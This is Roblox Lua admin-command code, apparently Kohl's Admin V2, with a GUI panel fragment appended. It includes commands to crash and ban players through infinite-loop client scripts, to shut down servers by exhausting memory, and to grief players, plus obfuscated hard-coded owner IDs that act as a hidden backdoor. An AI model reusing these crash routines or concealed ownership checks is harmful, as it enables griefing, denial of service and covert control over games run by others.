- cl.Parent = v.Character cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "flashify " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
- cl.Parent = v.Character cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "noobify " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- Noobify(v.Character)
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "ghostify " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
- if prt.Name:find("Leg") then prt.Transparency = 1 end
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "goldify " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "shiny " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "normal " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
- if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
- if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
- if prt.Name == "FAKETORSO" then prt:Destroy() end
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "trippy " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
- local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
- local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "untrippy " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "strobe " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
- local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
- local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "unstrobe " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "blind " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
- local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "unblind " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "guifix " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "loopheal " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- if v then
- local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
- local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
- repeat wait()
- coroutine.resume(coroutine.create(function()
- if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
- plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
- plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
- end
- end))
- until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- end
- end
- if msg:lower():sub(1,11) == "unloopheal " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
- end
- if msg:lower():sub(1,10) == "loopfling " then
- local plrz = GetPlr(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- if v then
- local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
- local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
- repeat
- coroutine.resume(coroutine.create(function()
- if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
- local xran local zran
- repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
- repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
- plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
- local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
- end
- end))
- wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- end
- end
- if msg:lower():sub(1,12) == "unloopfling " then
- local plrz = GetPlr(plr, msg:lower():sub(13))
- for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
- end
- end
- -------------------------
- -- True Owner Commands --
- -------------------------
- if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
- if msg:lower():sub(1,3) == "oa " then
- local plrz = GetPlr(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unoa " then
- for i = 1, #owners do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
- end))
- end
- end
- if msg:lower() == "settings" then
- for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
- local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
- local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
- local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
- local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
- local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
- local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
- local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
- if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
- tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
- cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
- local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
- end
- end
- --------------------
- -- Owner Commands --
- --------------------
- if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
- if msg:lower():sub(1,3) == "pa " then
- local plrz = GetPlr(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unpa " then
- for i = 1, #admins do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "nuke " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
- p.Anchored = true
- p.CanCollide = false
- p.formFactor = "Symmetric"
- p.Shape = "Ball"
- p.Size = Vector3.new(1,1,1)
- p.BrickColor = BrickColor.new("New Yeller")
- p.Transparency = .5
- p.Reflectance = .2
- p.TopSurface = 0
- p.BottomSurface = 0
- p.Touched:connect(function(hit)
- if hit and hit.Parent then
- local ex = Instance.new("Explosion", game.Workspace)
- ex.Position = hit.Position
- ex.BlastRadius = 11
- ex.BlastPressure = math.huge
- end
- end)
- local cf = v.Character.Torso.CFrame
- p.CFrame = cf
- for i = 1, 333 do
- p.Size = p.Size + Vector3.new(3,3,3)
- p.CFrame = cf
- wait(1/44)
- end
- p:Destroy()
- end
- end))
- end
- end
- end
- --------------------------
- -- Super Admin Commands --
- --------------------------
- if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
- if msg:lower() == "logs" then
- if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end
- if msg:lower():sub(1,9) == "loopkill " then
- local chk1 = msg:lower():sub(10):find(" ")
- local plrz = GetPlr(plr, msg:lower():sub(10))
- local num = 9999
- if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
- for i, v in pairs(plrz) do
- if v and not ChkAdmin(v.Name, false) then
- local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
- local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
- for i = 1, ]] .. tostring(num) .. [[ do
- repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
- coroutine.resume(coroutine.create(function()
- if plr and plr.Character then plr.Character:BreakJoints() end
- end))
- end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- end
- end
- if msg:lower():sub(1,11) == "unloopkill " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
- end
- if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
- if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
- if msg:lower():sub(1,3) == "sm " then
- Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
- end
- if msg:lower():sub(1,3) == "ko " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
- local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
- for n = 1, num do
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
- local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
- v.Character:BreakJoints()
- wait(1/44)
- v:LoadCharacter()
- wait(1/44)
- end
- end))
- end
- end
- end
- if msg:lower():sub(1,6) == "crash " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
- local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "kick " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkAdmin(v.Name, false) then v:Destroy() end
- end))
- end
- end
- if msg:lower():sub(1,6) == "admin " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
- end))
- end
- end
- if msg:lower():sub(1,8) == "unadmin " then
- for i = 1, #tempadmins do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
- end))
- end
- end
- if msg:lower():sub(1,4) == "ban " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
- end))
- end
- end
- if msg:lower():sub(1,6) == "unban " then
- for i = 1, #banland do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
- end))
- end
- end
- if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
- end
- end))
- end
- function AdminControl(plr)
- coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
- if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
- for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
- local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
- local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
- box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
- end)) end
- coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
- coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
- coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
- coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
- coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
- plr.Chatted:connect(function(msg) Chat(msg,plr) end)
- end
- if not ntab then script:Destroy() end
- if not bct then script:Destroy() end
- local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
- script.Name = "Kohl's Admin Commands V2"
- if not ntab then script:Destroy() end
- if not bct then script:Destroy() end
- if not tcb then script:Destroy() end
- game.Players.PlayerAdded:connect(AdminControl)
- for i, v in pairs(game.Players:children()) do AdminControl(v) end
- end
- local mod = game:service("InsertService"):LoadAsset(100808216)
- if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
- local newac = mod:findFirstChild("Kohl's Admin Commands V2")
- newac.Disabled = true
- local new = tonumber(mod:findFirstChild("Version", true).Value)
- local old = 0
- if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
- if new > old then
- local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
- for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
- for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
- for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
- for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
- local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
- local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
- local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
- local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
- local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
- local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
- local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
- wait()
- newac.Parent = game.Workspace
- newac.Disabled = false
- script.Disabled = true
- script:Destroy()
- else
- CHEESE()
- end
- else
- CHEESE()
- end
- end)
- local button12 = Instance.new("TextButton", tl2)
- button12.Size = UDim2.new(0,800,0,50)
- button12.Position = UDim2.new(0,0,0,120)
- button12.Text = 'Give Admin Books'
- button12.Font = 'Legacy'
- button12.FontSize = 'Size14'
- button12.BackgroundTransparency = 0.5
- button12.BackgroundColor3 = Color3.new(46, 189, 168)
- button12.BorderColor3 = Color3.new(46, 189, 168)
- button12.TextColor3 = Color3.new(56, 255, 249)
- button12.MouseButton1Click:connect(function()
- ----------------------------------------[------------------------------------ ]-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------]]
- script.Parent = nil
- Admins = {
- ["ProFiGames"] = 3,
- ["darkfastr"] = 3,
- -- Password
- }
- local Levels = {
- [0] = {"Peasant", BrickColor.new("Medium stone grey")};
- [1] = {"Knight", BrickColor.new("Bright red")};
- [2] = {"Lord", BrickColor.new("Navy blue")};
- [3] = {"King", BrickColor.new("Bright green")}
- }
- Players = Game:GetService("Players")
- Workspace = Game:GetService("Workspace")
- Debris = Game:GetService("Debris")
- Lighting = Game:GetService("Lighting")
- Teams = Game:GetService("Teams")
- MR = math.rad
- MD = math.deg
- Banned = {"Mac4000", "VSHONOR", "LaptopKid", "0ctupus", "xxhero"}
- PrivateServer = {}
- PrivateServerWarnings = {}
- Settings = {
